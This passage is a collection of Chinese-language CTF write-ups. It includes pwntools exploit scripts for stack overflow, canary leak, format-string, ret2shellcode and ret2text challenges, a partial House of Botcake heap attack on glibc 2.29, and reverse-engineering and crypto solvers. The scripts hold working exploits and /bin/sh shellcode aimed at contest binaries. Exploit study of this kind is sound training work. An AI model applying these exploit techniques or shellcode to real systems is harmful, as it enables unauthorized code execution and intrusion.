有backdoor函数,函数效果是cat flag
思路就这样了
exp:
from pwn import *
context(log_level = "debug")
# p = remote("ctf.ctbu.edu.cn", 33659)
p = process("./attachment")
backdoor = 0x4011C6
p.sendlineafter("choose a function (1-3): ", "1")
payload1 = b'aaaaaaaa%15$p'
p.sendline(payload1)
print(p.recvuntil(b'aaaaaaaa'))
canary = int(p.recvuntil(b'00').decode(),16)
print(hex(canary))
p.sendlineafter("choose a function (1-3): ", "2")
ret = 0x0000000000401016
p.sendafter(b"Please input your bio: ",b'a' * (0x88) + p64(canary) + b'a' * 8 + p64(ret) + p64(backdoor))
p.interactive()
最后还存在一个栈平衡问题,如果不处理这个栈平衡问题,就会出现进了backdoor函数但是没flag显示的问题
这个也很好处理,通过多加一个ret就好了
ret的找法的话,ROPgadget是个好东西
如还有疑问,请联系出题人
CDU玄武杯
are you lucky
交互,发现要登录,跟随login函数
看到是encode(114514)
跟进encode看加密原理
大致能看出是个base64
直接扔ai加密:

然后就正常进菜单界面了
观察各函数
由于题目开了pie,所以要找到运行时的实际地址
这里可以注意到edit函数中存在一个格串
通过多次远程调试可以拿到栈上参数的地址,然后倒回去找到main函数地址
以及在root函数里可以看到

这里需要改掉target的值才能完成写入/bin/sh的操作
所以这里还可以根据泄露的地址找到target的实际运行地址,并利用格串的任意写直接改掉target的值
最后在传入/bin/sh后再传入一个短的shellcode就好了
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p= remote('node10.anna.nssctf.cn',22717)
#p = process("./pwn")
username="user_name"
password= "MTE0NTE0"
p.recvuntil(b'username')
p.sendline(username)
p.recvuntil(b'password')
p.sendline(password)
p.recvuntil(b'choice >>')
p.sendline(b'1')
p.recvuntil(b'name')
p.sendline(b'%18$p')
p.recvuntil(b"name is\n")
leaked_addr = int(p.recvline().strip(), 16)
log.info(f"leak:{hex(leaked_addr)}")
main_addr= leaked_addr-0x40a0
log.info(f"main:{hex(main_addr)}")
p.recvuntil(b'new password')
p.sendline(b'123')
target_addr=main_addr+0x40CC
log.info(f"target_addr: {hex(target_addr)}")
payload = fmtstr_payload(20,{target_addr:0x2918})
p.recvuntil(b'choice >>')
p.sendline(b'1')
p.recvuntil(b'new name')
p.sendline(payload)
p.recvuntil(b'new password')
p.sendline(b'123')
p.recvuntil(b'choice >>')
p.sendline(b'3')
p.recvuntil(b'access')
p.send(b"/bin/sh\0")
p.recvuntil(b"start your performance")
shellcode = asm('''
lea rdi, [rsp+0x18]
xor esi, esi
push 0x3b
pop rax
cdq
syscall
''')[:15]
p.send(shellcode)
p.interactive()
ret2shellcode

会输出buf的实际地址,返回的是gets函数,栈溢出了,提示是shellcode,直接传就好了
填充至溢出,找ret,根据写入的字节长度控制程序流到shellcode的地址就好了
from pwn import *
io = remote("node9.anna.nssctf.cn", 26033)
# io = process("./pwn")
offset = 72
context.arch = 'amd64'
context.os = 'linux'
#shellcode = asm(shellcraft.sh())
shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
io.recvuntil(b'buf @ ')
buf_addr = io.recvline().strip()
buf = int(buf_addr, 16)
print(hex(buf))
ret = 0x000000000040101a
payload = b'a' * offset + p64(ret) + p64(buf + 72 + 8 + 8) + shellcode
io.sendline(payload)
io.interactive()
Integer_Overflow

v4是int类型的数据,可以造成整数溢出,很常规
直接输入4294967295
就进shell了,交互拿flag即可
fmt

改值就能getshell
能找到target的栈上地址
随手才改了两次,发现输入第8位就是target的位置,那么就直接根据格串的任意写效果进行覆写
exp:
from pwn import *
# p = remote('node9.anna.nssctf.cn', 21634)
p = process("./pwn1")
p.recvuntil(b'message: ')
target_addr = 0x40408c
payload = b'A' * 6
payload += b'%8$n'
payload += b'B' * 6
payload += p64(target_addr)
p.sendline(payload)
p.interactive()
ret2text 64
栈溢出,64位,直接ret,控制程序流到后门函数hint
exp:
from pwn import *
io = remote("node10.anna.nssctf.cn",28349)
offset = 8 + 48
ret = 0x000000000040101a
bin_addr = 0x00000000040136F
pd = b'a'*(offset)
pd += p64(ret)
pd += p64(bin_addr)
io.sendline(pd)
io.interactive()
ISCTF2025
Z3
sub_401000验证函数
该函数包含23个复杂的线性方程,每个方程都涉及23个变量的线性组合。
from z3 import *
a = [BitVec(f'a{i}', 8) for i in range(23)]
s = Solver()
# 方程1
s.add(94*a[22] + 74*a[21] + 70*a[19] + 12*a[18] + 20*a[16] + 62*a[12] + 82*a[10] + 7*a[7] + 63*a[6] + 18*a[5] + 58*a[4] + 94*a[2] + 77*a[0] - 43*a[1] - 37*a[3] - 97*a[8] - 23*a[9] - 86*a[11] - 6*a[13] - 5*a[14] - 79*a[15] - 63*a[17] - 93*a[20] == 20156)
# 方程2
s.add(87*a[22] + 75*a[21] + 73*a[15] + 67*a[14] + 30*a[13] + (a[11] << 6) + 35*a[9] + 91*a[7] + 91*a[5] + 34*a[3] + 74*a[0] - 89*a[1] - 72*a[2] - 76*a[4] - 32*a[6] - 97*a[8] - 39*a[10] - 23*a[12] + 8*a[16] - 98*a[17] - 4*a[18] - 80*a[19] - 83*a[20] == 7183)
# 方程3
s.add(51*a[21] + 22*a[20] + 15*a[19] + 51*a[17] + 96*a[12] + 34*a[7] + 77*a[5] + 59*a[2] + 89*a[1] + 92*a[0] - 85*a[3] - 50*a[4] - 51*a[6] - 75*a[8] - 40*a[10] - 4*a[11] - 74*a[13] - 98*a[14] - 23*a[15] - 14*a[16] - 92*a[18] - 7*a[22] == -7388)
# 方程4
s.add(61*a[22] + 72*a[21] + 28*a[20] + 55*a[18] + 20*a[17] + 13*a[14] + 51*a[13] + 69*a[12] + 10*a[11] + 95*a[10] + 43*a[9] + 53*a[8] + 76*a[7] + 25*a[6] + 9*a[5] + 10*a[4] + 98*a[1] + 70*a[0] - 22*a[2] + 2*a[3] - 49*a[15] + 4*a[16] - 77*a[19] == 69057)
# 方程5
s.add(7*a[22] + 21*a[16] + 22*a[13] + 55*a[9] + 66*a[8] + 78*a[5] + 10*a[3] + 80*a[1] + 65*a[0] - 20*a[2] - 53*a[4] - 98*a[6] + 8*a[7] - 78*a[10] - 94*a[11] - 93*a[12] - 18*a[14] - 48*a[15] - 9*a[17] - 73*a[18] - 59*a[19] - 68*a[20] - 74*a[21] == -31438)
# 方程6
s.add(33*a[19] + 78*a[15] + 66*a[10] + 3*a[9] + 43*a[4] + 24*a[3] + 3*a[2] + 27*a[0] - 18*a[1] - 46*a[5] - 18*a[6] - a[7] - 33*a[8] - 50*a[11] - 23*a[12] - 37*a[13] - 45*a[14] + 2*a[16] - a[17] - 60*a[18] - 87*a[20] - 72*a[21] - 6*a[22] == -26121)
# 方程7
s.add(31*a[20] + 80*a[18] + 34*a[17] + 34*a[15] + 38*a[14] + 53*a[13] + 35*a[12] + 82*a[9] + 27*a[8] + 80*a[7] + 46*a[6] + 18*a[4] + 5*a[1] + 98*a[0] - 12*a[2] - 9*a[3] - 57*a[5] - 46*a[10] - 31*a[11] - 68*a[16] - 94*a[19] - 93*a[21] - 15*a[22] == 26005)
# 方程8
s.add(81*a[21] + 40*a[20] + 34*a[19] + 94*a[18] + 98*a[17] + 11*a[14] + 63*a[13] + 95*a[12] + 43*a[11] + 99*a[10] + 29*a[9] + 81*a[6] + 72*a[5] + 54*a[3] + 21*a[0] - 26*a[1] - 90*a[2] - 15*a[4] - 54*a[7] - 12*a[8] - 38*a[15] - 15*a[16] - 56*a[22] == 57169)
# 方程9
s.add(71*a[18] + 39*a[17] + 73*a[15] + 14*a[14] + 56*a[12] + 56*a[10] + 27*a[9] + 68*a[7] + 39*a[6] + 26*a[5] + 40*a[4] + 24*a[3] + 11*a[2] + 14*a[1] + 94*a[0] - 10*a[8] - 11*a[11] - 63*a[13] - 39*a[16] - 14*a[19] - 17*a[20] - 23*a[21] - 7*a[22] == 40024)
# 方程10
s.add((a[22] << 6) + 80*a[21] + 89*a[20] + 70*a[19] + 66*a[18] + 55*a[17] + 16*a[16] + 84*a[13] + 48*a[12] + 11*a[7] + 32*a[5] + 99*a[0] - 26*a[1] - 91*a[2] - 96*a[3] - 63*a[4] - 67*a[6] - 72*a[8] + 4*a[9] - 84*a[10] - 81*a[11] - 80*a[14] - 98*a[15] == 432)
# 方程11
s.add(a[21] + 41*a[17] + 46*a[12] + 44*a[9] + 63*a[0] - 73*a[1] - 43*a[2] + 4*a[3] - 37*a[4] - 54*a[5] - 58*a[6] - 95*a[7] - 2*a[8] - 37*a[10] - 5*a[11] + 2*a[13] - 46*a[14] - 27*a[15] - 19*a[16] - 78*a[18] - 51*a[19] - 82*a[20] - 59*a[22] == -57338)
# 方程12
s.add(10*a[22] + 58*a[18] + 16*a[17] + 69*a[16] + 6*a[15] + 5*a[12] + 87*a[7] + 47*a[5] + 91*a[4] + 54*a[2] + 21*a[1] + 52*a[0] - 76*a[3] - 96*a[6] - 27*a[8] - 43*a[9] - 15*a[10] - 35*a[11] - 53*a[13] + 4*a[14] - 83*a[19] - 68*a[20] - 18*a[21] == 1777)
# 方程13
s.add(66*a[22] + 92*a[21] + 29*a[20] + 42*a[19] + 55*a[14] + 72*a[13] + 40*a[12] + 31*a[10] + 88*a[9] + 61*a[8] + 59*a[7] + 35*a[6] + 16*a[3] + 24*a[1] + 60*a[0] - 55*a[2] - 8*a[4] - 7*a[5] - 17*a[11] - 25*a[15] - 22*a[16] - 10*a[17] - 59*a[18] == 47727)
# 方程14
s.add(3*a[21] + 54*a[18] + 6*a[15] + 93*a[14] + 74*a[10] + 6*a[7] + 98*a[4] + 65*a[3] + 84*a[2] + 18*a[1] + 35*a[0] - 29*a[5] - 40*a[6] - 35*a[8] + 8*a[9] - 15*a[11] - 4*a[12] - 83*a[16] - 74*a[17] - 72*a[19] - 53*a[20] - 31*a[22] == 6695)
# 方程15
s.add(45*a[20] + 14*a[19] + 76*a[18] + 17*a[16] + 86*a[14] + 28*a[11] + 19*a[5] + 46*a[1] + 75*a[0] - 12*a[2] - 27*a[3] - 66*a[4] - 27*a[6] - 32*a[7] - 69*a[8] - 31*a[9] - 65*a[10] - 54*a[12] - 6*a[13] + 2*a[15] - 10*a[17] - 89*a[21] - 16*a[22] == -3780)
# 方程16
s.add(62*a[21] + 74*a[20] + 28*a[18] + 7*a[17] + 74*a[16] + 45*a[15] + 57*a[14] + 34*a[11] + 85*a[10] + 98*a[6] + 29*a[4] + 94*a[3] + 51*a[2] + 85*a[1] - 36*a[5] - a[7] - 3*a[8] - 74*a[9] - 70*a[12] - 68*a[13] - 3*a[19] + 8*a[22] == 47300)
# 方程17
s.add(22*a[22] + 45*a[21] + 14*a[19] + 32*a[18] + 77*a[17] + 70*a[12] + 7*a[10] + 99*a[4] + 82*a[0] - 48*a[1] - 40*a[2] - 81*a[3] - 27*a[5] - 75*a[6] - 79*a[7] - 26*a[8] - 68*a[9] - 57*a[11] - 77*a[13] - 32*a[14] - a[15] - 91*a[16] - 14*a[20] == -34153)
# 方程18
s.add(65*a[21] + 13*a[20] + 61*a[17] + 97*a[13] + 24*a[10] + 40*a[5] + 20*a[0] - 81*a[1] - 17*a[2] - 77*a[3] - 79*a[4] - 45*a[6] - 61*a[7] - 48*a[8] - 97*a[9] - 49*a[11] - 14*a[12] - 81*a[14] - 20*a[15] - 27*a[16] - 89*a[18] - 93*a[19] - 46*a[22] == -55479)
# 方程19
s.add(60*a[21] + 70*a[20] + 13*a[15] + 87*a[13] + 76*a[11] + 88*a[9] + 87*a[3] + 87*a[0] - 97*a[1] - 40*a[2] - 49*a[4] - 23*a[5] - 30*a[6] - 50*a[7] - 98*a[8] - 21*a[10] - 54*a[12] - 65*a[14] - 80*a[17] - 28*a[18] - 57*a[19] - 70*a[22] == -20651)
# 方程20
s.add(54*a[20] + 86*a[17] + 92*a[16] + 41*a[15] + 70*a[10] + 9*a[9] + a[8] + 96*a[7] + 45*a[6] + 78*a[5] + 3*a[4] + 90*a[3] + 71*a[2] + 96*a[0] - 8*a[1] + 4*a[11] - 55*a[12] - 73*a[13] - 54*a[14] - 89*a[18] - (a[19] << 6) - 67*a[21] + 4*a[22] == 35926)
# 方程21
s.add(5*a[22] + 88*a[20] + 52*a[19] + 21*a[17] + 25*a[16] + 3*a[13] + 88*a[10] + 39*a[8] + 48*a[7] + 74*a[6] + 86*a[4] + 46*a[2] + 17*a[0] - 98*a[1] - 50*a[3] - 28*a[5] - 73*a[9] - 33*a[11] - 75*a[12] - 14*a[14] - 31*a[15] - 26*a[18] - 52*a[21] == 8283)
# 方程22
s.add(96*a[22] + 85*a[20] + 55*a[19] + 99*a[13] + 19*a[11] + 77*a[10] + 52*a[9] + 66*a[8] + 96*a[6] + 72*a[4] + 90*a[3] + 60*a[1] + 94*a[0] - 99*a[2] - 26*a[5] - 94*a[7] - 49*a[12] - 32*a[14] - 54*a[15] - 92*a[16] - 71*a[17] - 63*a[18] - 23*a[21] == 33789)
# 方程23
s.add(15*a[22] + a[19] + 26*a[17] + 65*a[16] + 80*a[11] + 92*a[8] + 28*a[5] + 79*a[4] + 73*a[0] - 98*a[1] - 2*a[2] - 70*a[3] - 10*a[6] - 30*a[7] - 51*a[9] - 77*a[10] - 32*a[12] - 32*a[13] + 8*a[14] + 4*a[15] - 11*a[18] - 83*a[20] - 85*a[21] == -10455)
print("开始求解...")
if s.check() == sat:
print("找到解!")
m = s.model()
# 获取解并转换为字节
solution = [m[a[i]].as_long() for i in range(23)]
print("异或后的值:", solution)
print("异或后的字符串:", ''.join([chr(c) for c in solution]))
original = [c ^ 0xC for c in solution]
print("原始flag:", ''.join([chr(c) for c in original]))
else:
print("无解")
print(s.check())
MysteriousStream
- 初步分析
拿到题目后,包含一个二进制文件 challenge 和一个数据文件 payload.dat。 首先查看 challenge 的字符串信息,发现了几个关键字符串:
Secr3tK3P4ssXORrc4_variantxor_cycle
这些字符串暗示了题目可能涉及 RC4 加密变种以及异或操作。
- 逆向分析
使用 IDA 或反汇编工具分析主要逻辑(结合动态调试或静态分析):
密钥构建
在代码中发现对 Secr3tK3 的处理。程序并不是直接使用 Secr3tK3,而在其后拼接了 y! (0x79, 0x21)。
mov word ptr [rsp + 0x16], 0x2179 ; 追加 "y!"
所以 RC4 的实际密钥为 Secr3tK3y!。
加密逻辑
程序主要流程是对输入数据进行两步操作:
- RC4 变种解密
- 循环异或 (XOR Cycle)
RC4 变种分析: 标准的 RC4 KSA(密钥调度算法)如下:
j = (j + S[i] + key[i % len(key)]) % 256
但在本题的汇编代码中,KSA 增加了一个额外的项 (i & 0xAA):
mov edx, ecx
and edx, 0xaa
add eax, edx ; eax 累加了 (i & 0xAA)
还原后的 KSA 逻辑为:
j = (j + S[i] + key[i % len(key)] + (i & 0xAA)) % 256
PRGA(伪随机数生成)部分与标准 RC4 一致。
XOR Cycle 分析: RC4 处理后的数据,与密钥 P4ssXOR 进行循环异或。
3. 解密脚本
根据分析的逻辑,编写 Python 脚本解密 payload.dat。由于流密码(RC4)和异或运算都是对称的(或自反的),如果程序是“解密并打印”,我们只需要重现程序的逻辑即可。
import binascii
def solve():
# 1. 读取 payload
# payload.dat 的十六进制内容
payload_hex = "f1c652acab33ee6873cea53f0e0eb7fdc731be9aa7e8d41fe04b3154ff7cccd2160b4034e6b815bf"
data = binascii.unhexlify(payload_hex)
# 2. 准备密钥
key_rc4 = b"Secr3tK3y!" # 运行时构建的密钥
key_xor = b"P4ssXOR" # 静态字符串
# 3. RC4 变种初始化 (KSA)
S = list(range(256))
j = 0
for i in range(256):
# 变种逻辑:增加了 (i & 0xAA)
j = (j + S[i] + key_rc4[i % len(key_rc4)] + (i & 0xAA)) % 256
S[i], S[j] = S[j], S[i]
# 4. RC4 解密 (PRGA)
i = 0
j = 0
rc4_output = []
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) % 256]
rc4_output.append(char ^ k)
# 5. XOR Cycle 解密
flag = []
for idx, char in enumerate(rc4_output):
k = key_xor[idx % len(key_xor)]
flag.append(char ^ k)
print(bytes(flag).decode('utf-8'))
if __name__ == "__main__":
solve()
4. 获取 Flag
运行脚本输出最终 Flag:
ISCTF{Y0u_a2e_2ea11y_a_1aby2inth_master}
Power tower
题目给出了一个加密脚本和三个值:
from Crypto.Util.number import *
import random
m = b'ISCTF{****************}'
flag = bytes_to_long(m)
n = getPrime(256)
t = getPrime(63)
l = pow(2, pow(2, t), n)
c = flag ^ l
print(t)
print(n)
print(c)
已知条件:
t = 6039738711082505929n = 107502945843251244337535082460697583639357473016005252008262865481138355040617c = 114092817888610184061306568177474033648737936326143099257250807529088213565247
加密过程:
- 将 flag 转换为长整数
- 生成两个随机素数:
n(256位) 和t(63位) - 计算
l = 2^(2^t) mod n(这是一个幂塔结构) - 计算密文
c = flag XOR l
解题思路
要解密 flag,需要计算 l = 2^(2^t) mod n,然后通过 flag = c XOR l 得到 flag。
但是 2^t 是一个天文数字(2^6039738711082505929),无法直接计算。我们需要使用欧拉定理来简化这个计算。
欧拉定理: 如果 gcd(a, n) = 1,则 a^φ(n) ≡ 1 (mod n)
其中 φ(n) 是欧拉函数,表示小于 n 且与 n 互质的正整数的个数。
应用:
对于 2^(2^t) mod n,如果 gcd(2, n) = 1(通常成立,因为 n 是奇数),我们可以使用欧拉定理:
2^(2^t) mod n = 2^(2^t mod φ(n)) mod n
这样,我们只需要:
- 分解
n得到其因子 - 计算
φ(n) - 计算
2^t mod φ(n)(这个可以计算,因为φ(n) < n) - 计算
2^(2^t mod φ(n)) mod n
#!/usr/bin/env sage
# -*- coding: utf-8 -*-
"""
Power Tower 解密脚本
使用 SageMath 进行大数分解和模幂运算
"""
# 给定的值
t = 6039738711082505929
n = 107502945843251244337535082460697583639357473016005252008262865481138355040617
c = 114092817888610184061306568177474033648737936326143099257250807529088213565247
print("=" * 60)
print("Power Tower 解密")
print("=" * 60)
print("t = " + str(t))
print("n = " + str(n))
print("c = " + str(c))
print()
# 将 n 转换为 SageMath 整数
n = Integer(n)
c = Integer(c)
t = Integer(t)
# 分解 n
print("正在分解 n...")
try:
factors = factor(n)
print("n 的因子分解: " + str(factors))
# 计算欧拉函数 φ(n)
phi_n = euler_phi(n)
print("φ(n) = " + str(phi_n))
except Exception as e:
print("分解失败: " + str(e))
# 如果无法分解,假设 n 是素数
print("假设 n 是素数")
phi_n = n - 1
print()
# 计算 2^t mod φ(n)
print("计算 2^t mod φ(n)...")
exp_mod_phi = power_mod(2, t, phi_n)
print("2^t mod φ(n) = " + str(exp_mod_phi))
# 计算 l = 2^(2^t) mod n = 2^(2^t mod φ(n)) mod n
print()
print("计算 l = 2^(2^t mod φ(n)) mod n...")
l = power_mod(2, exp_mod_phi, n)
print("l = " + str(l))
# 解密: flag = c ^ l
print()
print("解密 flag...")
flag_long = c ^^ l # SageMath 中的异或运算符
print("flag (整数) = " + str(flag_long))
# 转换为字节
print()
print("转换为字节...")
# 将整数转换为字节列表
flag_digits = flag_long.digits(256)
flag_bytes = bytes(reversed(flag_digits))
try:
flag_str = flag_bytes.decode('utf-8', errors='ignore')
print("\n" + "=" * 60)
print("解密后的 flag: " + flag_str)
print("=" * 60)
print("flag (hex): " + flag_bytes.hex())
except Exception as e:
print("UTF-8 解码失败: " + str(e))
print("flag (hex): " + flag_bytes.hex())
# 尝试直接显示字节
print("flag (bytes): " + str(flag_bytes))
============================================================
Power Tower 解密
============================================================
t = 6039738711082505929
n = 107502945843251244337535082460697583639357473016005252008262865481138355040617
c = 114092817888610184061306568177474033648737936326143099257250807529088213565247
正在分解 n...
n 的因子分解: 127 * 841705194007 * 1005672644717572752052474808610481144121914956393489966622615553
φ(n) = 106656465954594992227312203077713006587965800635814353306369389060697410445312
计算 2^t mod φ(n)...
2^t mod φ(n) = 63628789584090558595465598091196928076720283286383800204368188448772762091520
计算 l = 2^(2^t mod φ(n)) mod n...
l = 82062069866179877089267477826918688212074322751651681520625309711026709241410
解密 flag...
flag (整数) = 33165950942018378556776034296645277066869513684055746490680244406481376584061
转换为字节...
============================================================
解密后的 flag: ISCTF{Euler_1s_v3ry|useful!!!!!}
============================================================
flag (hex): 49534354467b45756c65725f31735f763372797c75736566756c21212121217d
小蓝鲨的RSA密文
题目提供了一个 Python 脚本 task.py 和输出文件 output.txt。
加密逻辑分析
查看 task.py:
e = 3
N = getPrime(512) * getPrime(512)
# ... 省略部分代码 ...
aes_key = secrets.token_bytes(16)
m = bytes_to_long(aes_key)
f = a2 * (m * m) + a1 * m + a0
c = (pow(m, e) + f) % N
- AES 密钥:
m是一个 128 位(16字节)的随机整数。 - RSA 模数:
N是两个 512 位素数的乘积,长度约为 1024 位。 - 加密方程:$$
c \equiv m^3 + a_2 m^2 + a_1 m + a_0 \pmod N
$$
数值大小估算
我们需要判断模 N 运算是否对结果产生了影响。
- m 是 128 位整数,即 $$
m < 2^{128}
$$
。 - $$
m^3 < (2^{128})^3 = 2^{384}
$$
。 output.txt中给出了a2_high = 9012778($$
\approx 2^{23}
$$
),且LOW_BITS = 16。- $$
a_2 \approx 2^{23} \cdot 2^{16} = 2^{39}
$$
。 - $$
a_2 m^2 \approx 2^{39} \cdot 2^{256} = 2^{295}
$$ - $$
a_1, a_0
$$
相对较小。
整个多项式的值
$$
m^3 + a_2 m^2 + a_1 m + a_0
$$
的量级约为
$$
2^{384}
$$
。 而模数 N 的量级约为
$$
2^{1024}
$$
。
由于
$$
2^{384} \ll 2^{1024}
$$
,所以 模 N 运算没有发生截断。方程在整数域上直接成立:
$$
m^3 + a_2 m^2 + a_1 m + a_0 – c = 0
$$
未知数处理
题目中 $a_2$ 并不完全已知,只给了高位:
a2_high = a2 >> LOW_BITS
这意味着 $a_2$ 的低 16 位是未知的。我们可以表示为:
$$
a_2 = (a2\_high \ll 16) + \delta
$$
其中
$$
0 \le \delta < 2^{16} = 65536
$$
解题思路
- 爆破 $$
$\delta$
$$
:遍历 $0$ 到 $65535$ 的所有可能值。 - 构造方程:对于每个 $\delta$,计算出完整的 $a_2$,得到确定的多项式方程 $f(m) = m^3 + a_2 m^2 + a_1 m + a_0 – c = 0$。
- 求解方程:在实数域或整数域求解该一元三次方程。由于 $m$ 是整数,我们只需要关注正整数解。可以使用二分查找(因为函数单调递增)或 SageMath 的求根函数。
- 验证解:得到的 $m$ 转换为字节串作为 AES 密钥,尝试解密密文
ct。如果解密成功(Padding 正确),则得到 Flag。
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
# 从 output.txt 读取数值
c = 3756824985347508967549776773725045773059311839370527149219720084008312247164501688241698562854942756369420003479117
a2_high = 9012778
LOW_BITS = 16
a1 = 621315
a0 = 452775142
iv = bytes.fromhex("bf38e64bb5c1b069a07b7d1d046a9010")
ct = bytes.fromhex("8966006c4724faf53883b56a1a8a08ee17b1535e1657c16b3b129ee2d2e389744c943014eb774cd24a5d0f7ad140276fdec72eb985b6de67b8e4674b0bcdc4a5")
# 初始化多项式环
R = PolynomialRing(ZZ, 'x')
x = R.gen()
print("开始爆破 delta...")
# 爆破 a2 的低 16 位
for delta in range(1 << LOW_BITS):
# 构造完整的 a2
a2 = (a2_high << LOW_BITS) + delta
# 构造方程: x^3 + a2*x^2 + a1*x + a0 - c = 0
f = x**3 + a2*x**2 + a1*x + a0 - c
# 在整数环上求根
roots = f.roots()
for r, mult in roots:
if r > 0:
m = Integer(r)
print(f"找到可能的 m (delta={delta}): {m}")
# 尝试 AES 解密
try:
aes_key = long_to_bytes(m).rjust(16, b'\0')
cipher = AES.new(aes_key, AES.MODE_CBC, iv=iv)
decrypted = cipher.decrypt(ct)
flag = unpad(decrypted, 16)
print(f"Flag: {flag.decode()}")
exit(0)
except Exception as e:
# Padding 错误说明密钥不对
pass
运行结果
运行脚本后,在 delta = 10219 时找到正确的 $m$,解密得到 Flag:
Found m for delta=10219: [AES Key Integer]
Flag: ISCTF{i7_533M5_Lik3_You_R34lLy_UNd3R574nd_Polinomials_4nD_RSA}
baby_equation
题目提供了一个 Python 脚本 baby_equation.py,其中给出了三个关于未知数
$$
a, b, c
$$
的方程以及对应的常数
$$
K_1, K_2, K_3
$$
。其中 c 是 flag 转换成的整数。
方程组如下:
- $$
4b^6 – 2a^3 + 3ac = K_1
$$ - $$
b^5 + 6c^3 + 2abc = K_2
$$ - $$
3a^3 – 3ac – 3b^6 = K_3
$$
1. 观察方程结构
观察方程 (1) 和 (3),我们可以发现各项的幂次较高,特别是 $b^6$。如果我们尝试将这两个方程相加,会消去 $ac$ 项,并合并 $a^3$ 和
$$
b^6
$$
项。
$$
\begin{aligned} K_1 + K_3 &= (4b^6 – 2a^3 + 3ac) + (3a^3 – 3ac – 3b^6) \\ &= (4b^6 – 3b^6) + (3a^3 – 2a^3) + (3ac – 3ac) \\ &= b^6 + a^3 \end{aligned}
$$
令
$$
S = K_1 + K_3
$$
,则有:
$$
S = a^3 + b^6 \quad \dots(4)
$$
2. 进一步消元与估算
回到方程 (1):
$$
K_1 = 4b^6 – 2a^3 + 3ac
$$
。 我们可以利用 (4) 式将
$$
a^3
$$
替换掉,或者尝试估算 b 的大小。
由 (4) 式得
$$
a^3 = S – b^6
$$
,代入 (1) 式:
$$
\begin{aligned} K_1 &= 4b^6 – 2(S – b^6) + 3ac \\ K_1 &= 4b^6 – 2S + 2b^6 + 3ac \\ K_1 + 2S &= 6b^6 + 3ac \end{aligned}
$$
注意到 b^6 是一个六次幂项,ac 是二次项(假设 a, b, c 的数量级相差不是特别巨大)。在数值极大时,6b^6 的值将远远大于 3ac。 因此,我们可以近似认为:
$$
6b^6 \approx K_1 + 2S
$$
$$
b \approx \sqrt[6]{\frac{K_1 + 2S}{6}}
$$
3. 求解步骤
- 计算 S = K_1 + K_3。
- 估算 $$
b_{approx} = \lfloor \sqrt[6]{(K_1 + 2S)/6} \rfloor
$$
。 - 在估算值 $$
b_{approx}
$$
附近小范围爆破 b。 - 对于每一个假设的 b,计算 $$
a^3 = S – b^6
$$
。验证 $S – b^6$ 是否为完全立方数,如果是,则求出 a。 - 有了 a 和 b 后,利用方程 (1) $$
3ac = K_1 – 4b^6 + 2a^3
$$
求出 c:$$
c = \frac{K_1 – 4b^6 + 2a^3}{3a}
$$ - 将 $c$ 转换为字节串即得到 flag。
完整解密脚本
from Crypto.Util.number import long_to_bytes
def integer_root(n, k):
"""计算 n 的 k 次方根的整数部分"""
if n < 0:
if k % 2 == 0: return None
return -integer_root(-n, k)
if n == 0: return 0
u, s = n, n + 1
while u < s:
s = u
t = (k - 1) * s + n // pow(s, k - 1)
u = t // k
return s
def check_perfect_cube(n):
"""判断是否为完全立方数"""
root = integer_root(n, 3)
if root * root * root == n:
return True, root
return False, None
def solve():
# 题目数据
K1 = 5530346600323339885232820545798418499625132786869393636420197124606005490078041505765918120769293936395609675704197197479866186297686468133906640256390919799453701894382992223127374374212586492263661287287954143417128958298503464448
K3 = -5530346600323339885232820545798418499625132786869393636420197035566805062064534503704976756468319888650441668826363984844327206056424439752726283862026042410921197396370839233560708886006884569969932749615838070243922866371345910111
# 1. 计算 S = a^3 + b^6
S = K1 + K3
# 2. 估算 b
# 6b^6 ≈ K1 + 2S
val = K1 + 2*S
b_approx = integer_root(val // 6, 6)
print(f"Searching for b around {b_approx}...")
# 3. 爆破 b 并求解 a, c
for delta in range(-100, 100):
b = b_approx + delta
# 检查 S - b^6 是否为 a^3
diff = S - b**6
is_cube, a = check_perfect_cube(diff)
if is_cube:
print(f"Found a: {a}")
print(f"Found b: {b}")
# 代回方程1求解 c
# 3ac = K1 - 4b^6 + 2a^3
numerator = K1 - 4 * (b**6) + 2 * (a**3)
denominator = 3 * a
if denominator != 0 and numerator % denominator == 0:
c = numerator // denominator
try:
flag = long_to_bytes(c)
print(f"Flag: {flag.decode()}")
break
except:
pass
if __name__ == "__main__":
solve()
运行脚本得到 flag: ISCTF{y0u_93t_7h3_3qu4710n_50lv3}
tcache
- 架构: AMD64
- 保护:
- Full RELRO
- Canary found
- NX enabled
- PIE enabled
- Libc 版本: Glibc 2.29
- 漏洞点:
- UAF (Use-After-Free):
delete函数释放内存后未将指针置空(Dangling Pointer),且show函数未检查 chunk 是否被释放,仅检查非空。这允许攻击者读取已释放堆块的内容(泄露 Libc)或再次操作已释放的堆块。
- UAF (Use-After-Free):
- 限制: 全局数组
nodes大小为 22,意味着我们最多只能进行 22 次add操作。
House of Botcake:
Glibc 2.29 引入了对 Tcache Double Free 的检查(检查 chunk 的 key 字段是否等于 tcache 结构体地址)。如果直接对同一个 chunk 进行两次 free,会触发 abort。
为了绕过这个检查并实现任意地址写,我们使用 House of Botcake 技术。核心思想是利用 Unsorted Bin 的合并机制 来构造 Tcache Chunk 和 Unsorted Bin Chunk 的 重叠。
攻击步骤
- 堆布局准备:
- 分配 7 个 0x100 大小的块作为 Fillers(用于之后填满 Tcache)。
- 分配 1 个 0x100 大小的块 Prev。
- 分配 1 个 0x100 大小的块 Victim(这是我们要重叠的块)。
- 分配 1 个 0x100 大小的块 Guard(防止与 Top Chunk 合并,并预置
/bin/sh)。
- 泄露 Libc:
- 释放 7 个 Fillers,填满 0x110 大小的 Tcache 链表。
- 释放 Victim。由于 Tcache 已满,Victim 进入 Unsorted Bin。
- 利用 UAF,调用
show(Victim)。此时 Victim 的fd指针指向main_arena附近。读取该指针计算出 Libc 基址。
- 构造重叠 (House of Botcake):
- 释放 Prev。由于 Victim 已经在 Unsorted Bin 中(且物理相邻),Prev 会与 Victim 合并,形成一个大小为 0x220 的大 Unsorted Bin Chunk。
- 此时,虽然 Victim 在逻辑上是合并大块的一部分,但我们在
